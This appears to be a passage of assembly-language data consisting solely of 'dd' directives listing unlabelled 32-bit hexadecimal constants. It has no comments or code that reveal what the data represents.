dd 43D88AA1h, 0A9099830h, 5E940095h, 774738E1h, 8F00D4A3h
dd 280AD903h, 959D75h, 4BA2B62Ch, 46AD8A8Dh, 73E3A501h
dd 85D229A9h, 9D9FE0C7h, 71BD00A4h, 511B0A90h, 0BC00B3DAh
dd 8858649Bh, 8C9DE3h, 19F5544Ah, 0D9E039A8h, 0D0006CECh
dd 4B6ADDECh, 1CB2152Bh, 0C33CDBA6h, 0FB5778A5h, 89E9D7F0h
dd 48269EF6h, 5C807CBEh, 0CFC98EA6h, 9F58025Ah, 78CAF8B5h
dd 37BB8EC0h, 0BE000473h, 51BAD0D5h, 0B0A2FF6Bh, 0DFFD00C7h
dd 314A1D12h, 7E01712Fh, 4E2936B2h, 0F4DC4727h, 4F04009Ah
dd 0FC0AF88Bh, 0AD02218Ah, 6CE5E4D3h, 0A7FA8F1Ah, 0B6432646h
dd 0BAEAD0D4h, 1C9A005Ah, 0B907F78Ch, 5400BD2Fh, 89D57443h
dd 503B8104h, 7D4DBC1Fh, 49580018h, 63FA55D7h, 0A501BFC0h
dd 35CF6BF7h, 9BE8D653h, 3E272FFh, 87D57549h, 7FE8E559h
dd 742C9088h, 9100FCA3h, 7C6898AEh, 7EB40003h, 3B994A15h
dd 0C101EF16h, 262CB3BAh, 0F450CA42h, 46D166h, 2A25E6BBh
dd 5D702E53h, 44105201h, 0E1BD5929h, 30E5AE8h, 0C16D2578h
dd 0E8F0EF67h, 15001DB0h, 1BEBB2D0h, 19588CEh, 6E5EDCE3h
dd 35A29252h, 0E136F090h, 7F54E4Ch, 8D4DF34Fh, 0D214AF77h
dd 2D9D7491h, 0E19B4D8h, 0C15EBA34h, 9340E687h, 0D1C3CEDBh
dd 0D81A4BE1h, 50E49B4Dh, 64E89026h, 949A300h, 1CE22D96h
dd 0C61A43B6h, 58F015B9h, 0F22001F0h, 0F1D26186h, 0D43A72B7h
dd 64005EDAh, 0B5D9B44Ah, 0D25788h, 624B8B32h, 42AB4F18h
dd 0AC064EF6h, 0C9E15823h, 8C570040h, 0F16999A2h, 81745A55h
dd 23108900h, 42CC4936h, 15EE8DFh, 1DAF61DEh, 0D0E65421h
dd 8C0044A5h, 45E4D6E1h, 1771708Bh, 832E3Ch, 0F6D1A64Eh
dd 0F097DCCBh, 0F5B70034h, 0B3B01FFFh, 4500579Ah, 0B1D3682Bh
dd 3F917C51h, 0F5A55Bh, 4DF6B4A4h, 0E40A796Bh, 0EAE2B100h
dd 8005060Bh, 0CC540112h, 27CA281Ch, 466AD448h, 3942F60Bh
dd 36F88755h, 0E8DE3543h, 0E97E16h, 78EDE8D4h, 7C20C4B4h
dd 89B8170Fh, 8F007D4Ch, 1151373h, 0EED60038h, 0A70709F2h
dd 11016A66h, 9CDDA4A3h, 0BEECB0FFh, 7993071Eh, 31612926h
dd 0E9A45296h, 0A12BF05Ah, 0CB318C15h, 57EE00C8h, 12018B5Ch
dd 481418F9h, 319D08E2h, 0B59068B8h, 23455C00h, 0B60D0C86h
dd 0B9A60020h, 4D1703E8h, 0C5003B2Ah, 1D83CD32h, 0BA156693h
dd 0B0410084h, 915EB616h, 8624D235h, 0A1804D9h, 887421h
dd 0A85FB018h, 2EFBF59Fh, 3E412B00h, 3C569354h, 992D31BDh
dd 0E401B889h, 2C007F6Ch, 0C1594C36h, 213DA4h, 8606580h
dd 0CFB24EF4h, 7C170B0Ch, 0C7E0B6h, 0F70252C9h, 22B5AFB0h
dd 0F4687FEEh, 0CE9980B0h, 0B51888B8h, 5E6811FAh, 4915CB0h
dd 188DE105h, 0E41882ABh, 49013443h, 57F885C0h, 60066207h
dd 0C1BC9F04h, 0E080E8C2h, 73FE0B32h, 53E4002Ah, 3DAAB513h
dd 90C02DEFh, 1DA81220h, 0A8C4523Fh, 0B400C723h, 0B15E1216h
dd 48808537h, 40C1188Ch, 1FE0F8BFh, 83C7975Ch, 0C84CC04Fh
dd 3E4EF101h, 9CCEAABFh, 0A0C95AD4h, 8F4F98h, 10BC5E0Dh
dd 0F113920Eh, 48C38500h, 1F995B4Bh, 0E63B1D0Bh, 1CE18044h
dd 4DB4BC3Fh, 1107D2E8h, 5C181D66h, 75B00369h, 0E0C2C39Eh
dd 0C43FDEF6h, 48D30C28h, 224A444Ch, 736210CAh, 84B0F640h
dd 0C077E939h, 10DF447Eh, 88847444h, 2E0081D9h, 0EA3EC98h
dd 50606Ah, 57DA6748h, 7B8D41Ah, 0A5795A00h, 70195CAFh
dd 62E30078h, 3DBED997h, 203B946h, 0F54573E8h, 0BAB79048h
dd 43F4CD8h, 0E4AEA900h, 0A67FE8BEh, 0D7147D00h, 2E15E288h
dd 1B7A00DAh, 0E68C6E8Fh, 8707F95Ch, 12C089FAh, 0DD194730h
dd 0ACB6009Bh, 62ED385Dh, 0A801266Bh, 0E8CC3D46h, 71E0F7BFh
dd 0C9B50045h, 1F8D62E5h, 7200176Ch, 74944953h, 1E4BF93h
dd 2E0387DCh, 30D1AAB8h, 9701FEC3h, 28664CF6h, 3DCC827Eh
dd 0D4EEDEh, 18B7B017h, 0CEAEED22h, 0CF008CF6h, 0F4C697C8h
dd 0F01C6C51h, 15421FD0h, 25001EDh, 0D0C596F0h, 0BC1CD80Ah
dd 0C0408E88h, 381F497Dh, 8DD20023h, 0E9EB08CBh, 8975136Eh
dd 0F56D0A00h, 39BCDDA6h, 39107A9h, 0DC4C8231h, 410DD470h
dd 40239B05h, 0BF15ED8h, 97DB9C2Fh, 720B180h, 0C7008FEAh
dd 0DC409DB2h, 0A15437D2h, 0B0C4D0F6h, 79AF1D53h, 96F30041h
dd 0DA314775h, 0A74090Bh, 7A5300A7h, 1779449Eh, 1BB787Ch
dd 91EB2BAEh, 0D5EFC34h, 0C70042F6h, 0A23E2085h, 1F5FC246h
dd 0FE235B0Eh, 8D8F2500h, 9886B8B9h, 190FB607h, 809E60A4h
dd 0FC110CB2h, 26990005h, 1652939h, 20008359h, 0EC027F77h
dd 452D5Ch, 9A92197Ch, 80E39FB4h, 667B6300h, 0A230749h
dd 78789FA4h, 5161BA00h, 0CFD7B810h, 0E760011h, 723CE5C6h
dd 817CEB14h, 3B007090h, 88EFEE71h, 2C1C9F03h, 0C66D63h
dd 0CD84C5D8h, 0F8008C36h, 8785A206h, 1E2576h, 0ED5EE91Ch
dd 0BBE50AAFh, 0D67F6B00h, 0F69BE30Fh, 711CF879h, 407512A0h
dd 46E0073Ah, 24D3D057h, 150062F9h, 7A260966h, 325571h
dd 346830DFh, 88F01D9Ch, 80A2FC39h, 0DB802240h, 0E3D4D96h
dd 0A9F389D2h, 0D40C5E60h, 0E7B1478h, 0A61B9B00h, 0E3E6294Bh
dd 0E5750013h, 0E9190243h, 0C909ABAEh, 2858F7h, 0BA1A310h
dd 1A7A00F0h, 0CC2E7CDh, 0DC2C7312h, 9200F49Ah, 5B2B6D07h
dd 3FCC07AAh, 50392381h, 8724C229h, 22248A79h, 6C8410A2h
dd 608015EFh, 9D4B56h
dd 67F27C0Ah, 5A477F9Ah, 0F9EC40E7h, 12E0701Fh, 0E650E200h
dd 6DC88196h, 6CAF001Bh, 5CBD8A49h, 0A21DD2CAh, 0BA00E264h
dd 2D0886B0h, 0FB6700DAh, 3B6E4DA0h, 4D98E7F5h, 6337200h
dd 0A86E2E1h, 0D4EAECh, 0A21ECA80h, 0A977F8B8h, 780030E8h
dd 6E29DA01h, 1DAD62F3h, 40FD863Dh, 0E017E224h, 0C1B0133Fh
dd 0A35D0814h, 470D80F4h, 1DC290B0h, 0DC6DC4h, 58A6B8E6h
dd 0FF71343Fh, 0F8969230h, 7B025Dh, 0E9295310h, 0CC3705D1h
dd 0E807E67Ch, 986F1C77h, 204AF070h, 9589008Fh, 1F3337D7h
dd 8104A862h, 96AFA0EAh, 0F9468480h, 0C4482680h, 0C930084h
dd 0FE9DE9E7h, 3A1D2603h, 9BE8EEA5h, 0C0F58AD7h, 2C65138h
dd 0EC292E43h, 0D3C059FEh, 52247D62h, 1E00A09Eh, 4927CD2h
dd 0BE133D40h, 0BB020A00h, 0E5D684F2h, 61153D00h, 5521D1DEh
dd 0D8AA543Ch, 0F28000BAh, 0C223DBEBh, 0D70066A4h, 0DDAA7841h
dd 0F95FD82h, 85682589h, 0B5CD09E0h, 11092BB9h, 2E16308Ah
dd 4F3DC008h, 24404196h, 20CC52D7h, 0C21000E6h, 13FB77C7h
dd 4A73597Dh, 8642B300h, 6AFFC8ACh, 2638023Bh, 0C06885F4h
dd 84BA3060h, 0A1C92360h, 8716E5h, 3D11BC24h, 0AEEE425Eh
dd 541A1300h, 8E79F40Bh, 73E30053h, 3775ABDDh, 0CF909289h
dd 7E4F822Dh, 629900DCh, 0AB527C6Ah, 1EE4800h, 72467A17h
dd 10A60009h, 3BAB6EBh, 4B004508h, 0AF4F27B8h, 0B0C25DAEh
dd 7E941F1Ch, 43DB5E3Bh, 9687CE12h, 1CB099DBh, 1C9189E2h
dd 905B8102h, 5D006105h, 0CD7BDC0h, 0C704B825h, 4E004FD1h
dd 0EEA19633h, 0B5C963h, 0FB7DCEC4h, 5560AD18h, 0B102EC98h
dd 0A8487E19h, 8024C050h, 76BA001Dh, 0F3667F81h, 0F100E30Ch
dd 0F4DB532Dh, 0E09949h, 682CD465h, 3A6C3847h, 3D301B03h
dd 88F36991h, 373CABh, 325C853Fh, 870AC038h, 5D23FB00h
dd 0B0F84A82h, 8EC703ECh, 4994BFE7h, 664642E0h, 346EA500h
dd 0A903F44Bh, 1CBD3DECh, 0D3807339h, 0E89C0690h, 9E01EED7h
dd 0BB92C43Ch, 0E7208B98h, 0B613006Ch, 0D5C09129h, 731F96EAh
dd 3380E067h, 0FC43CD89h, 950E30A1h, 1CE93811h, 0F80ED971h
dd 604FB98Eh, 37E37C55h, 0FC21002Ah, 746BDA5h, 8162E4Eh
dd 0A200A7D7h, 337AC636h, 745400B8h, 0B289117Ch, 9900CAC4h
dd 0C0A5467Bh, 7FF008h, 0CE8E436Fh, 88BAD6D1h, 3F2A4807h
dd 3CC15C79h, 0D30A8B7h, 545A0135h, 0E463DC90h, 0E349CC20h
dd 0AAAC1F00h, 3B3D4B97h, 2ED8000Fh, 0C4455D0Ch, 95A0731Ah
dd 0E600AC82h, 6ECD3475h, 70B8929h, 93C1F2C2h, 1BDA40AEh
dd 0CE74BA59h, 0E5602700h, 0B561FBEDh, 6CEE00FEh, 74CC17F9h
dd 0F601C437h, 6DC04A08h, 8ACC43D6h, 47341278h, 0B909002Eh
dd 359DD25Bh, 0BFC37500h, 0D424AC99h, 12310265h, 84455C3Ah
dd 80255B40h, 0BC19DEEAh, 0C186ADFh, 39A30D8h, 0E03E9CC9h
dd 0C7DC5BC1h, 24FE901Ah, 607BC6Bh, 2CC035C3h, 0FC518133h
dd 0FA53CFC0h, 3DBA00E0h, 423BD7Fh, 0C6008697h, 7010FCCFh
dd 0B8A7CAh, 5FAB90DBh, 5D44D16Ah, 55CE780Bh, 25EE806Eh
dd 0B8CF6C23h, 32600C47h, 2E582D86h, 52C5F200h, 8B4D38E9h
dd 18854019h, 69367607h, 9AE17CCBh, 702167FDh, 0ABEE0h
dd 5CD33435h, 0DA59100Dh, 0D488FC00h, 99889E8h, 4C2DF60Bh
dd 0CC182A67h, 0FFC66807h, 832EBF00h, 0EE8BA956h, 5920960h
dd 4C80046Ah, 9B145457h, 0DF6DC500h, 0F2D64A89h, 245D03CBh
dd 0ABE565E9h, 0F0A98080h, 73918A1Fh, 5CBC3201h, 57EC35C1h
dd 8F0C18BFh, 6A8DC11Dh, 768C8E0Fh, 6DA020B6h, 4645F9h
dd 0BE93CD6Eh, 5D9EF194h, 3D4A4D07h, 0C330D0F5h, 0B60C46h
dd 2C5F51CEh, 0B7F7D43Ah, 0FF60DB00h, 9181F147h, 76E70021h
dd 4F1F283Fh, 0CD003C8Dh, 4A77F9D3h, 3B0575BBh, 0AE80A3D1h
dd 0C0795349h, 910086CEh, 9C982A3Dh, 9559EAh, 211C3356h
dd 11C2C039h, 0CDE91B00h, 0D7F0FA99h, 2DD438C5h, 0A280F53Dh
dd 9A71EA72h, 8B7796ABh, 2580340Fh, 0CCD6C007h, 0CC838h
dd 7968A240h, 0A4E5D292h, 7D8E5300h, 25AF01Fh, 0C3510C16h
dd 4B11F4DFh, 4E5B8D02h, 40AB39F7h, 0E611B13Dh, 0C2091FFAh
dd 479284h, 0BF21643Ch, 639C386h, 2C48E3h, 32093596h, 4FF8A8h
dd 0F33A19AAh, 0A0A3625Ah, 0C2E61A01h, 6A817FBDh, 8E9BD0h
dd 75B98C94h, 0DD46F367h, 9FE45500h, 0FFD76E9h, 37D00001h
dd 0A0CDB3B5h, 0A2007897h, 3C7D8414h, 10507D2h, 0FDED501h
dd 800E2F8Ch, 6ACDA530h, 9F68B5h, 0BA3CFD97h, 0AD8E7CF5h
dd 801EBB0h, 210CF6D1h, 0CA40EEE1h, 7BEB049h, 0A1BB2883h
dd 0DAAF2074h, 1A005355h, 0A3232B4Dh, 0CFABCh, 4C83FD66h
dd 0DAC15E8h, 0DB7B1B00h, 91E6E99Eh, 0C25C3E87h, 30FC0487h
dd 0F216309Bh, 701AF63h, 1AEA5DD6h, 41809EBCh, 6B7F1155h
dd 0D9B0DFBDh, 184DEE30h, 7789230h, 0B2763328h, 91571064h
dd 9E895F5h, 0BA42CF00h, 3552EEFh, 13B40012h, 0C3917240h
dd 0E1006C4Ah, 20FC18CCh, 397929h, 27B3BFE4h, 4790ED87h
dd 69356100h, 8CC9FBB2h, 30D7922h, 24654E17h, 0BBD3D041h
dd 0C0C7EDF8h, 12E33000h, 1554769Fh, 39397F2Fh, 0B380097Fh
dd 2AF5D61Bh, 1A05E52Dh, 0BEA4616Eh, 0B603BDC0h, 0EAA30011h
dd 0CBB1FCC2h, 2F071621h, 1E1FA1DCh, 43B300AFh, 0D83B53h
dd 9CBA2D06h, 0FA6D16F0h, 500056F8h, 6E94268Dh, 77B2A74Ah
dd 0FF4B00A4h, 0BC8303C6h, 6C007337h, 7EB47940h, 0BA9C08h
dd 6EFD8549h, 12F67CCFh, 5B181103h, 0E8C5CABEh, 3C51E1h
dd 0B4467492h, 91FD6ACFh, 0E9C86300h, 42808BD7h, 0A1EB027Fh
dd 414E393h, 0DE0E8068h, 71F83A00h, 62DD7A9Dh, 9F920EFAh
dd 0A64039E1h, 0BEBF4EE8h, 4961A304h, 0B0D05E9Ah, 901B17h
dd 21C4926Bh, 4DB2DD8h, 0C7573500h, 0A658CACEh, 0A0960009h
dd 54E8BCF1h, 5C1DD142h, 1CC98311h, 799880CEh, 0F782F2h
dd 3E3A8129h, 71EF340Dh, 788458h, 5DAB405Ch, 1C4105BBh
dd 0C1DFB9B0h, 2BD16DF4h, 45237015h, 0D9BAF603h, 0D893FF2Ah
dd 641736h, 38043A2Eh, 91DE8AF5h, 0CFFB0E03h, 0F086E56Dh
dd 0C2706h, 399CBF7Ah, 5B0B14A7h, 0E851DB00h, 3BD8F437h
dd 6BB009Ah, 0A7E51BCFh, 0E61D56A9h, 4D031CECh, 0F0FFD358h
dd 0B40EF7h, 7FAA4562h, 0AF0A3869h, 26002276h, 0DB9A2C68h
dd 1C488FF0h, 401F5A90h, 0BDE2B7CAh, 0D92CF505h, 4900C5A5h
dd 0A1222192h, 0C5FA1420h, 805CCF4h, 915E25FCh, 0E477662Ch
dd 0CCA29C04h, 5D2AAF60h, 76074F79h, 2CDB8C8h, 819D6820h
dd 0CC7A0260h, 32D707ECh, 1FC0F062h, 273C4402h, 58351C2Ah
dd 0D2311145h, 0FD69A000h, 183DC8h, 44CD2E6Ah, 8ED6965Ch
dd 7B0C89C0h, 0F7DBCDDh, 78CB571Ch, 805E2A04h, 0A3187F18h
dd 0D5DC901h, 1C06E180h, 0A72D1FCh, 5F01101Ah, 4B9885F4h
dd 58C8411h, 93F08F96h, 7C883A8Ch, 95A3A493h, 452C6380h
dd 3021391Ch, 0C6B8C700h, 0B261F2Fh, 0F251ED8h, 0E0363300h
dd 0D27F60C8h, 0C8B1000h, 56B43CAh, 0B0D5F04Ch, 72450E8Ch
dd 22E7035Dh, 0AD3C91BBh, 0FFA05792h, 798F870Bh, 0F18055E9h
dd 0A697E0DAh, 8B9F711Dh, 0B0BBD940h, 98A123FFh, 0B1A30081h
dd 817CCCAEh, 7008070h, 0E66C3FE4h, 3E2AEE03h, 6F837B0Bh
dd 0D3ACC79h, 40B400E5h, 7C69272Dh, 0F3665309h, 8B38A0EFh
dd 61A3A82Fh
dd 8454A835h, 90BBF80Ah, 702DB8A1h, 4C7ABFD3h, 0FC73F100h
dd 831E0A72h, 8F970085h, 7E0BE8F5h, 0A2F6B3F2h, 8BD8D705h
dd 0FC2120C6h, 2A006203h, 76107E83h, 2B017212h, 0D5D2B641h
dd 2890855Bh, 0C4000D58h, 0A3E8CFD7h, 195124C0h, 55600630h
dd 82038027h, 835628DAh, 8186E801h, 0A4905046h, 22DD00D8h
dd 44270F1Ah, 8000D4B1h, 0CD9DE4D3h, 1EF21D37h, 40B50D2Fh
dd 0B1F5A95Dh, 92055951h, 4212BD86h, 0A8EC86h, 289ADEA4h
dd 130378ADh, 0D23F4800h, 51058FE1h, 944A50B2h, 7D8001A9h
dd 6C720DD0h, 3877FC88h, 0AB3D2A00h, 2C2D0B4Dh, 66F60E4Bh
dd 7A00B80Dh, 2A8952DBh, 0AFFEAA00h, 7538878Eh, 0CFBE1944h
dd 60A528B8h, 4F79F6FFh, 251A7100h, 42DED3D2h, 0AAE200CCh
dd 16394B93h, 7F002741h, 761888D7h, 701565D4h, 0C7C601BDh
dd 4AE179E5h, 0F927F0ACh, 445025E4h, 1C0B16E4h, 0A08350C9h
dd 0F4A20E18h, 4155C42h, 39778401h, 0F4CDF925h, 0FE00991Eh
dd 0D802163Ah, 0AE87994h, 3E2EC670h, 20C800BCh, 2D4F66FBh
dd 0B21D409h, 7A108176h, 0C0401405h, 49EFE4C6h, 4600D0F3h
dd 0ADCDAAE5h, 0D004A2Bh, 0D8B97304h, 728E7h, 58D8B65h
dd 0F9866285h, 49FA7E04h, 0B4A4E64Dh, 9C7624DBh, 8C9301ECh
dd 2C6DC93Ch, 6930043Ch, 80ECD8h, 0BEBDC6h, 0B38E86C5h
dd 0FB6A20D3h, 338A202h, 822FFC61h, 4401B584h, 24E01C4h
dd 6581F8D6h, 661EE0D9h, 27CB3Ah, 2D8407BAh, 0F7FE49Bh
dd 9970EA7Dh, 263BA7C0h, 0CC01C444h, 824F030Ah, 0A17092C0h
dd 34EC002Ah, 946569B7h, 230F3717h, 0BEF72DBEh, 29FA3380h
dd 905220BAh, 1900034h, 99E4E6E8h, 0EC0F6DC8h, 6223A2E7h
dd 8E3FAF6Ch, 7C1F20E0h, 935F10h, 65606987h, 0E2D3C8EDh
dd 3B337814h, 0BE421DE5h, 729B1481h, 0DC2052ABh, 2A3011Bh
dd 0EB29ACEh, 59982017h, 0A4A56000h, 0B58EE8B6h, 793A057Fh
dd 0C0FC6CBDh, 328AE710h, 0ED4AE50Fh, 0C9F404Ch, 0BF5040h
dd 8DC4BE16h, 0F04E355Eh, 67DC2400h, 56E028F9h, 39950174h
dd 80B9FAFFh, 7CB048F2h, 21FDE81Fh, 74848B80h, 914A53h
dd 201D052h, 0C0EC5D2Fh, 75446900h, 0FD4912A6h, 1CB68Dh
dd 0F8E0112Dh, 7A000164h, 5E95B5EEh, 907D4Bh, 0BD24D9B3h
dd 1F0759ACh, 0FEEF891Fh, 83706CC0h, 5D1E44h, 5153E936h
dd 0BB8878A0h, 0DEE86F00h, 0E03F581h, 0EC3C00A7h, 0D00DFF89h
dd 990061BDh, 8326CF05h, 1E9E86B3h, 806537D1h, 5B2E10EBh
dd 5201F177h, 0EA46428Ah, 4864C2A1h, 70ED00E8h, 3F9F55CEh
dd 3100DD76h, 3E5F8D6Eh, 0FC7942h, 0FD8AF813h, 0F295F63Ah
dd 3CF16513h, 3C4D484Fh, 3B358900h, 24207EAh, 8D390484h
dd 0C06B8774h, 0B60D81E0h, 0A4F29607h, 0E14E9F45h, 47C4AD48h
dd 0E5424441h, 0A7F88BD5h, 2A6F3A8Ah, 947FB60Ch, 0CA607520h
dd 0E4F5D710h, 0C521C058h, 0AD37C24Dh, 0EA0321F6h, 12520D93h
dd 53780057h, 0A2452F47h, 2135E5ADh, 0D49320ECh, 0E9500F6Fh
dd 968ADB75h, 7B8D0A0Ch, 0EBCE005Ch, 5B02592Ch, 38D884E9h
dd 9832018Dh, 65009E04h, 33454DE6h, 0ADC7F90Ch, 707A852h
dd 290FD674h, 2619A105h, 4DDC84Bh, 1F811100h, 52FFE468h
dd 10563D9Dh, 0A00163Dh, 50FBA4F3h, 7D01E92Eh, 22BED5E3h
dd 53D8782Bh, 0ED9C0065h, 469AA9D0h, 0EF00E9C6h, 77C970D4h
dd 19DC785h, 33C55D12h, 0C8060774h, 65001976h, 31F6BAD3h
dd 0A08187h, 0E389407Ch, 0D78B3CF9h, 80128A79h, 7F001723h
dd 0DD92CD45h, 0E68EEA9Eh, 0D71D0314h, 0FD1AD4BBh, 0FF9458h
dd 2F96937Bh, 5DB051h, 0A494033h, 0B252BB32h, 4400A176h
dd 0EA87D9D4h, 8306AAh, 0E5F1235h, 8BCDD05Ah, 5AFA900h
dd 2B44E716h, 0D1730EEFh, 0EA60B13Dh, 0FC193678h, 8C003276h
dd 0BF3CDB71h, 2C40AF5h, 5C9D268Eh, 55C0AE8Bh, 4B05F6A7h
dd 0B17C3E50h, 0E1CA2CC0h, 0E0F700B3h, 70393F29h, 9D91FBh
dd 0D745E479h, 514C005Bh, 67438AC2h, 0C97469A0h, 47E33A00h
dd 2F33F503h, 16230096h, 3964A5BFh, 0C8005D5Ah, 0EE32AB79h
dd 3071F5h, 361BEF10h, 0CEC454D8h, 7843F203h, 0F0DDF187h
dd 7E5B955Eh, 8EAD000Ch, 0E37FAF33h, 0F700B8D1h, 2E883A81h
dd 0C4BD38h, 27E77DC7h, 0CB711A9h, 78473B31h, 29CCCC7Ch
dd 6DC50055h, 0B2C9E8D4h, 0F818FE18h, 8A11AE45h, 63F0070h
dd 12B6B0F6h, 0C607AD75h, 821A6BCAh, 97B26990h, 0BD361C9Bh
dd 0EAAACC09h, 4200CC38h, 8E4CD4Dh, 1F2F84D5h, 1FFB95A7h
dd 52E103F6h, 410BBADAh, 8C479957h, 3196A06h, 40689D16h
dd 0D7B31A05h, 2C271EE8h, 341BE801h, 130CF179h, 0D433E0h
dd 0EEA162F0h, 0E287EBDFh, 8DE7DB00h, 1348684Eh, 0AE3B1C4Ch
dd 5D1400F8h, 0DA3E20Ch, 3A98F300h, 6E81509h, 5B1300C6h
dd 0CE251864h, 530C17F8h, 0C8E771D4h, 8EDF00A6h, 0FF1CA3BEh
dd 0DC0044A4h, 3B438DECh, 416454h, 0F6A086A6h, 0B3EF6AA1h
dd 0D6898000h, 78324345h, 48076055h, 9FE8473Fh, 0F9A96800h
dd 3275BDE9h, 83351D65h, 0CFC0C171h, 0D4C70EE2h, 0A2001FE4h
dd 293080FCh, 4853DF5Eh, 0B6007C4Ch, 61B57C56h, 6C003989h
dd 0E09A8216h, 55D98Eh, 0FE34910Ch, 0FBE6EF25h, 8F05231Ch
dd 4D28C900h, 3CA8185Ah, 0EE0C027Eh, 1F98D20Ch, 4695F00h
dd 72396E2Eh, 0E5EC3D8Fh, 0B891A19Ch, 0ABE0B000h, 0E606DB6h
dd 0F8D87951h, 43003017h, 0CCCB0ABBh, 0D70F68h, 0FD7193CDh
dd 6DFA581Eh, 2835DA00h, 9BF7F86h, 0A4E200E3h, 585CCE3Fh
dd 7C713D85h, 0AC479800h, 0E674D6A5h, 712100B4h, 0B6CF914Dh
dd 518D43Eh, 0C5A850EDh, 0D56F01F6h, 0B803112Fh, 0BDE2D412h
dd 0D15D9228h, 23906E54h, 60007C75h, 2B8085ACh, 902495h
dd 2EC47874h, 533C23DEh, 509B8800h, 287E4956h, 0F5893A36h
dd 0A9DF2080h, 512C594Ch, 0F326E874h, 0E00280Fh, 321DC696h
dd 55D0FFDFh, 9FD10383h, 92F9B5AFh, 1F91FFFBh, 2EFE70DCh
dd 0A3EFA700h, 0F45DD061h, 6D410062h, 0ABBF4938h, 0B50081AAh
dd 59F830E3h, 3C3DF6AFh, 9A830412h, 22A041FBh, 0D5DB5EF0h
dd 55AC7D00h, 0BA6E637Bh, 40C363ECh, 0C690D233h, 1D012312h
dd 3F39D3E4h, 55FCB94Ch, 0CA870718h, 678E98h, 0FF56B5F4h
dd 0F3F16C0Eh, 0FE2C09Eh, 1832BA5Ah, 704F2E38h, 6900AF09h
dd 16D1E16Ch, 546FCDFh, 0BBCC5A14h, 85FB0F3Dh, 84D940C3h
dd 92EF9E88h, 518F0D00h, 0DC2BBDDAh, 0B3B500F0h, 0E0427F69h
dd 0B607CA58h, 0D864A1D5h, 1C80DFE4h, 1DB55975h, 80C03BF5h
dd 0E052B809h, 0C5070464h, 7DFF3C6Eh, 1872B650h, 1C601C0h
dd 0F8860C40h, 0ED36E44Eh, 8B591300h, 5AD48EE2h, 0A4C8C007h
dd 49B7453Ah, 7B81B200h, 0AE6A65B9h, 0A56B014Fh, 0D60C7760h
dd 0D1E88044h, 0D45E51A6h, 16570711h, 0A07BB9F4h, 90604D06h
dd 0F18CD700h, 0E5656A55h, 300C7726h, 9BC85D7Bh, 3280B75Ch
dd 131BFCBFh, 404310E7h, 4CF41A14h, 809AD6F5h, 552ACE00h
dd 5283917Eh, 1CE7480Fh, 0B773640Eh, 0F2F5A500h, 0FF03316Dh
dd 1EDD3C0Bh, 0E9380071h, 1C19A630h, 0BE00E447h, 31C8A9A5h
dd 98A02A64h, 71AD0798h, 410B298Bh, 0F35A18BEh, 0FB7499C8h
dd 0A2AC0D01h, 0E56B9FE3h, 39ED0h, 8886ADBCh, 4D7D0C80h
dd 0A2E95F00h, 0DF22A708h, 74B30193h, 1C11F76Bh, 0A61980F1h
dd 7C41A579h, 96B200E2h
dd 0D6E160BDh, 0AF032C5Fh, 106BC355h, 483CF01Dh, 4CFC489Ah
dd 6881713Fh, 0E1067D32h, 467FC063h, 37025300h, 0C41E3895h
dd 51B70067h, 0DBAE3D35h, 0A926CEC5h, 290168D0h, 0A4C9BA8Fh
dd 0F382F30h, 2722CFE1h, 0B2960C60h, 0F3008079h, 0F7A3CC3Dh
dd 1E5FAF56h, 0CA3C1753h, 80BC8F34h, 0FC3FBD41h, 0C7EC29E5h
dd 0B718A3FCh, 0F8E9E2DCh, 3F3200EEh, 20F7CA05h, 8F00E3F0h
dd 3B9381C2h, 8C47Fh, 0D59A95FBh, 1E94834Dh, 2E6C3300h
dd 0F21930CCh, 0BDA73AC6h, 9BCD6B28h, 583009ECh, 90B8B905h
dd 0CAE1D46Ch, 0C2B44301h, 249ADB86h, 71003C68h, 7692237Dh
dd 7A7DE072h, 0E40037F2h, 0DA8E4498h, 289F69E5h, 18433C2h
dd 0A8225D9Ch, 0D4B43467h, 0C49ACBF6h, 74BC5F3Fh, 0C42970C0h
dd 74DA056Ah, 0F23118DDh, 0BDD718E2h, 0FCE81CF8h, 18AD5C28h
dd 0CB34DD00h, 12F565ECh, 0B6D74D0h, 8D37DF70h, 8D78200h
dd 0BE017E22h, 0E6E0B38h, 0DFF8DB50h, 8F40A015h, 5FA944E6h
dd 48000A4Bh, 987EEDF5h, 67390ABCh, 0C08BADFh, 7368D227h
dd 3AFED61Ch, 0EE41DC26h, 9C50D59Eh, 1D8DC31Ch, 15350C6h
dd 0EEBD52C8h, 3A10419Fh, 0EC1C411Dh, 0B0C0800Dh, 0A4C7BEC5h
dd 8A171CE9h, 5F6C81BBh, 0C832C08Bh, 2400EB68h, 8E221D97h
dd 0DA7A88h, 0F1448ADCh, 0D0EA6080h, 5045713Ah, 310078B8h
dd 0FB8C4D4Fh, 3F664740h, 1780FC46h, 84A2FF6Ch, 5400E0D8h
dd 0B3DDD7B9h, 0EB05E8Dh, 382FCCBCh, 0DE2C7880h, 1D004875h
dd 0A9A30BA7h, 217E13h, 7A228DB4h, 3FC7B34Ah, 965DB205h
dd 2F81F34Eh, 0D8806C3Dh, 49ABD39Ah, 77137354h, 0C00052B5h
dd 67E99E0Fh, 7A58003Dh, 71F9B078h, 7E007BD9h, 40CD9CE3h
dd 48B742h, 8293C906h, 0ABDCFC8Dh, 0F849FE07h, 9550C40Ah
dd 73698D3h, 0D91571B7h, 1CE960C7h, 2C00C984h, 878D17D5h
dd 0BA062F7h, 8AAE0E56h, 9781B480h, 0EA004F64h, 0E9692DB5h
dd 343005h, 24C4FABEh, 10BBC929h, 23132500h, 0F2E21612h
dd 0F9A300C0h, 0F5C29473h, 4CE0865Dh, 9F002070h, 0A8FD1352h
dd 3F43D2h, 0C519470Ah, 0D5563ECDh, 62E9BF03h, 0B871A59Fh
dd 34381Ch, 243A8920h, 0EE64652Ah, 0D0A1F200h, 820FD5C7h
dd 0A5BF0778h, 2087A9BAh, 0D3441AA7h, 35DC072Ch, 2AB56002h
dd 28B0806Fh, 0CD77735h, 62F224FEh, 9A244438h, 0A8000832h
dd 0F37C6BCAh, 8AB60054h, 1E6D857Dh, 0CD09BAC0h, 10F7EBD4h
dd 403AA40h, 0CAF61533h, 617D80BDh, 0CF00DF85h, 2172776Bh
dd 1C8FA67h, 0F03DB6EFh, 0D4FD7E73h, 79C78DACh, 0EECA2B16h
dd 9CDD5E00h, 84479Ah, 17138B09h, 0BE6F8223h, 0C4011D78h
dd 72C1522h, 7DCCE9C1h, 833A1598h, 58019C6Dh, 0F828F1A0h
dd 2E1C2057h, 31295E01h, 889323ECh, 0F1F719Fh, 33C0755Fh
dd 0EA502163h, 3FAD0A03h, 0E85756EDh, 14025E6h, 59BC884h
